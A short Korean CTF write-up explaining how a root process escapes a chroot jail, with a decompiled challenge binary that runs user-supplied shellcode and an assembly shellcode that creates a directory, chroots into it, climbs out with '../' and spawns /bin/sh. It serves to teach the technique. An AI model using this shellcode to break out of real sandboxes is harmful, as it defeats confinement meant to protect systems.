how to breakout chroot with root privilege
자세한 설명은 해당 롸업을 보면 된다. ‣
C
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
if ( chdir("/jail") )
{
puts("[!] chdir failed. Send DM to rootsquare...");
exit(1);
}
if ( chroot("/jail") )
{
puts("[!] chroot failed. Send DM to rootsquare...");
exit(1);
}
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
printf("You are jailed... Cast your spell!\n> ");
read(0, buf, 0x400uLL);
((void (*)(void))buf)();
return 0;
}만약 프로세스에서 다음과 같이 chdir과 chroot로 프로세스상의 root 디렉토리와 작업디렉토리를 바꾸어놓는다면 프로세스상에서 execve(”/bin/sh”)을 하여도 해당 명령어가 없기에 셸을 딸 수가 없다.
따라서 작업디렉토리를 root 디렉토리 ( jail 이라고 칭함 ) 에서 빠져나와야 한다.
이때 한가지 트릭이 가능하다. ( 프로세스의 권한이 root 일때 )
바로 mkdir로 디렉토리를 만들고 해당 디렉토리에 chroot를 적용시키면 작업디렉토리는 jail 그대로인데
root 디렉토리가 하위디렉토리로 이동하면서 자연스럽게 작업디렉토리가 jail로 부터 빠져나오게 된다.
C
shellcode = asm('''
/* mkdir(".out", 0755) */
xor rdi, rdi
push 0x74756f2e /* ".out\\0" */
mov rdi, rsp
mov rsi, 0755
mov rax, 83 /* sys_mkdir */
syscall
/* chroot(".out") */
mov rdi, rsp
mov rax, 161 /* sys_chroot */
syscall
/* chdir("../../../../../") */
/* We'll push "../../../../.." manually */
xor rdi, rdi
lea rdi, [rip + path]
mov rax, 80 /* sys_chdir */
syscall
/* chroot(".") */
xor rdi, rdi
push 0x2e /* "." */
mov rdi, rsp
mov rax, 161 /* sys_chroot */
syscall
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall
path:
.ascii "../../../../"
.byte 0
''')
따라서 다음과 같이 셸코드를 작성하면 jail break 가 가능하다.
핵심 아이디어는 디렉토리를 만들고 해당 디렉토리에 chroot를 걸면 프로세스의 작업디렉토리가 루트디렉토리 밖으로 나올 수 있다는 점이다.